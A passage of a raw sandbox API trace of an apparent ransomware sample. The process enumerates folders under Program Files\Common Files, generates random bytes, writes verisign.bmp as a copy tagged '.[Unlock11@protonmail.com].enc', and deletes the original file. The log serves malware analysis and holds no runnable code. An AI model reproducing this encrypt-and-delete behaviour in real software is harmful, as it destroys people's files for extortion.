ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.924] GetLastError () returned 0x0 [0123.924] GetCurrentThreadId () returned 0x9b0 [0123.924] GetLastError () returned 0x0 [0123.924] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0123.924] GetLastError () returned 0x0 [0123.924] GetCurrentThreadId () returned 0x9b0 [0123.924] GetLastError () returned 0x0 [0123.924] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0123.924] GetLastError () returned 0x0 [0123.924] GetCurrentThreadId () returned 0x9b0 [0123.924] GetLastError () returned 0x0 [0123.924] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0123.924] GetLastError () returned 0x12 [0123.925] GetCurrentThreadId () returned 0x9b0 [0123.925] GetLastError () returned 0x12 [0123.925] GetLastError () returned 0x12 [0123.925] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0123.925] GetLastError () returned 0x12 [0123.925] GetLastError () returned 0x12 [0123.925] GetLastError () returned 0x12 [0123.925] GetLastError () returned 0x12 [0123.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.925] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0123.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0123.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0123.927] GetCurrentThreadId () returned 0x9b0 [0123.927] GetLastError () returned 0x12 [0123.927] GetLastError () returned 0x12 [0123.927] GetLastError () returned 0x12 [0123.927] GetLastError () returned 0x12 [0123.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.927] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0123.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0123.928] GetLastError () returned 0x12 [0123.928] GetLastError () returned 0x12 [0123.928] GetLastError () returned 0x12 [0123.928] GetLastError () returned 0x12 [0123.928] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", lpFilePart=0x9bada4*="VSTOInstallerUI.dll") returned 0x51 [0123.928] GetCurrentThreadId () returned 0x9b0 [0123.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.928] GetCurrentThreadId () returned 0x9b0 [0123.929] GetLastError () returned 0x12 [0123.929] GetLastError () returned 0x12 [0123.929] GetLastError () returned 0x12 [0123.929] GetLastError () returned 0x12 [0123.929] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", lpFilePart=0x9bada4*="VSTOLoaderUI.dll") returned 0x4e [0123.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.929] GetCurrentThreadId () returned 0x9b0 [0123.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0123.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0123.930] GetCurrentThreadId () returned 0x9b0 [0123.930] GetLastError () returned 0x12 [0123.930] GetLastError () returned 0x12 [0123.931] GetLastError () returned 0x12 [0123.931] GetLastError () returned 0x12 [0123.931] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0123.931] GetLastError () returned 0x12 [0123.931] GetCurrentThreadId () returned 0x9b0 [0123.931] GetLastError () returned 0x12 [0123.931] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.931] GetLastError () returned 0x12 [0123.931] GetCurrentThreadId () returned 0x9b0 [0123.932] GetLastError () returned 0x12 [0123.932] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0123.932] GetLastError () returned 0x12 [0123.932] GetCurrentThreadId () returned 0x9b0 [0123.932] GetLastError () returned 0x12 [0123.932] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0123.932] GetLastError () returned 0x12 [0123.932] GetCurrentThreadId () returned 0x9b0 [0123.932] GetLastError () returned 0x12 [0123.932] GetLastError () returned 0x12 [0123.932] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0123.933] GetLastError () returned 0x12 [0123.933] GetLastError () returned 0x12 [0123.933] GetLastError () returned 0x12 [0123.933] GetLastError () returned 0x12 [0123.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.933] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0123.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0123.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.934] GetCurrentThreadId () returned 0x9b0 [0123.934] GetLastError () returned 0x12 [0123.934] GetLastError () returned 0x12 [0123.934] GetLastError () returned 0x12 [0123.934] GetLastError () returned 0x12 [0123.935] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpFilePart=0x9bada4*="verisign.bmp") returned 0x33 [0123.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.935] GetCurrentThreadId () returned 0x9b0 [0123.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0123.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0123.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.935] GetLastError () returned 0x0 [0123.935] GetLastError () returned 0x0 [0123.935] GetLastError () returned 0x0 [0123.936] GetLastError () returned 0x0 [0123.936] GetCurrentThreadId () returned 0x9b0 [0123.936] GetLastError () returned 0x0 [0123.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.936] GetCurrentThreadId () returned 0x9b0 [0123.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.936] GetLastError () returned 0x0 [0123.936] GetLastError () returned 0x0 [0123.936] GetLastError () returned 0x0 [0123.936] GetLastError () returned 0x0 [0123.936] GetCurrentThreadId () returned 0x9b0 [0123.937] GetLastError () returned 0x0 [0123.937] GetLastError () returned 0x0 [0123.937] GetLastError () returned 0x0 [0123.937] GetLastError () returned 0x0 [0123.937] GetLastError () returned 0x0 [0123.937] GetCurrentThreadId () returned 0x9b0 [0123.937] GetLastError () returned 0x0 [0123.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.937] GetLastError () returned 0x0 [0123.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0123.937] GetLastError () returned 0x0 [0123.938] GetLastError () returned 0x0 [0123.938] GetLastError () returned 0x0 [0123.938] GetCurrentThreadId () returned 0x9b0 [0123.938] GetLastError () returned 0x0 [0123.938] GetCurrentThreadId () returned 0x9b0 [0123.938] GetLastError () returned 0x0 [0123.938] GetLastError () returned 0x0 [0123.938] GetLastError () returned 0x0 [0123.938] GetLastError () returned 0x0 [0123.938] GetCurrentThreadId () returned 0x9b0 [0123.938] GetLastError () returned 0x0 [0123.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0123.939] GetLastError () returned 0x0 [0123.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.939] GetLastError () returned 0x0 [0123.939] GetLastError () returned 0x0 [0123.939] GetLastError () returned 0x0 [0123.939] GetCurrentThreadId () returned 0x9b0 [0123.939] GetLastError () returned 0x0 [0123.939] GetLastError () returned 0x0 [0123.939] GetLastError () returned 0x0 [0123.939] GetLastError () returned 0x0 [0123.940] GetLastError () returned 0x0 [0123.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.940] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e)) returned 1 [0123.940] GetLastError () returned 0x0 [0123.940] GetCurrentThreadId () returned 0x9b0 [0123.940] GetLastError () returned 0x0 [0123.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0123.940] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a87c | out: pbBuffer=0x366a87c) returned 1 [0123.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0123.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0123.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0123.941] GetCurrentThreadId () returned 0x9b0 [0123.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.941] GetLastError () returned 0x0 [0123.941] GetLastError () returned 0x0 [0123.941] GetLastError () returned 0x0 [0123.941] GetLastError () returned 0x0 [0123.941] GetCurrentThreadId () returned 0x9b0 [0123.941] GetLastError () returned 0x0 [0123.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.942] GetCurrentThreadId () returned 0x9b0 [0123.942] GetLastError () returned 0x0 [0123.942] GetLastError () returned 0x0 [0123.942] GetLastError () returned 0x0 [0123.942] GetLastError () returned 0x0 [0123.942] GetCurrentThreadId () returned 0x9b0 [0123.942] GetLastError () returned 0x0 [0123.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265578 [0123.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0123.943] GetLastError () returned 0x0 [0123.943] GetLastError () returned 0x0 [0123.943] GetLastError () returned 0x0 [0123.943] GetLastError () returned 0x0 [0123.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265588 [0123.943] GetLastError () returned 0x0 [0123.943] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.943] GetFileType (hFile=0x39c) returned 0x1 [0123.944] GetLastError () returned 0x0 [0123.944] GetCurrentThreadId () returned 0x9b0 [0123.944] GetLastError () returned 0x0 [0123.944] GetFileType (hFile=0x39c) returned 0x1 [0123.944] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.944] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.944] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.945] GetLastError () returned 0x0 [0123.945] GetCurrentThreadId () returned 0x9b0 [0123.945] GetLastError () returned 0x0 [0123.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0123.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0123.945] GetLastError () returned 0x0 [0123.945] GetLastError () returned 0x0 [0123.945] GetLastError () returned 0x0 [0123.946] GetLastError () returned 0x0 [0123.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654e8 [0123.946] GetLastError () returned 0x0 [0123.946] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.946] GetFileType (hFile=0x3ac) returned 0x1 [0123.946] GetLastError () returned 0x0 [0123.947] GetCurrentThreadId () returned 0x9b0 [0123.947] GetLastError () returned 0x0 [0123.947] GetFileType (hFile=0x3ac) returned 0x1 [0123.947] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.947] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.947] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.947] GetLastError () returned 0x0 [0123.947] GetCurrentThreadId () returned 0x9b0 [0123.948] GetLastError () returned 0x0 [0123.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0123.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0123.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.948] GetLastError () returned 0x0 [0123.948] GetLastError () returned 0x0 [0123.948] GetCurrentThreadId () returned 0x9b0 [0123.948] GetLastError () returned 0x0 [0123.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.948] GetLastError () returned 0x0 [0123.949] GetLastError () returned 0x0 [0123.949] GetCurrentThreadId () returned 0x9b0 [0123.949] GetLastError () returned 0x0 [0123.949] GetLastError () returned 0x0 [0123.950] GetLastError () returned 0x0 [0123.951] GetCurrentThreadId () returned 0x9b0 [0123.951] GetLastError () returned 0x0 [0123.951] GetCurrentThreadId () returned 0x9b0 [0123.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655c8 [0123.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0123.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xaa8) returned 0x382cb08 [0123.951] GetLastError () returned 0x0 [0123.951] GetLastError () returned 0x0 [0123.951] GetLastError () returned 0x0 [0123.951] GetLastError () returned 0x0 [0123.951] GetCurrentThreadId () returned 0x9b0 [0123.952] GetLastError () returned 0x0 [0123.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0123.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0123.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.952] GetLastError () returned 0x0 [0123.952] GetLastError () returned 0x0 [0123.952] GetCurrentThreadId () returned 0x9b0 [0123.952] GetLastError () returned 0x0 [0123.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ec1a8 | out: hHeap=0x2ad0000) returned 1 [0123.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8ff8 [0123.953] GetLastError () returned 0x0 [0123.953] GetLastError () returned 0x0 [0123.953] GetCurrentThreadId () returned 0x9b0 [0123.953] GetLastError () returned 0x0 [0123.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8ff8 | out: hHeap=0x2ad0000) returned 1 [0123.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.953] GetLastError () returned 0x0 [0123.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.954] CloseHandle (hObject=0x3ac) returned 1 [0123.954] GetLastError () returned 0x0 [0123.954] GetCurrentThreadId () returned 0x9b0 [0123.955] GetLastError () returned 0x0 [0123.955] GetLastError () returned 0x0 [0123.955] CloseHandle (hObject=0x39c) returned 1 [0123.955] GetLastError () returned 0x0 [0123.955] GetCurrentThreadId () returned 0x9b0 [0123.955] GetLastError () returned 0x0 [0123.955] GetLastError () returned 0x0 [0123.955] GetLastError () returned 0x0 [0123.955] GetLastError () returned 0x0 [0123.955] GetLastError () returned 0x0 [0123.956] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 1 [0123.956] GetLastError () returned 0x0 [0123.956] GetCurrentThreadId () returned 0x9b0 [0123.956] GetLastError () returned 0x0 [0123.956] GetCurrentThreadId () returned 0x9b0 [0123.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.956] GetLastError () returned 0x0 [0123.956] GetLastError () returned 0x0 [0123.957] GetLastError () returned 0x0 [0123.957] GetLastError () returned 0x0 [0123.957] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0123.958] GetLastError () returned 0x0 [0123.958] GetCurrentThreadId () returned 0x9b0 [0123.958] GetLastError () returned 0x0 [0123.959] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, 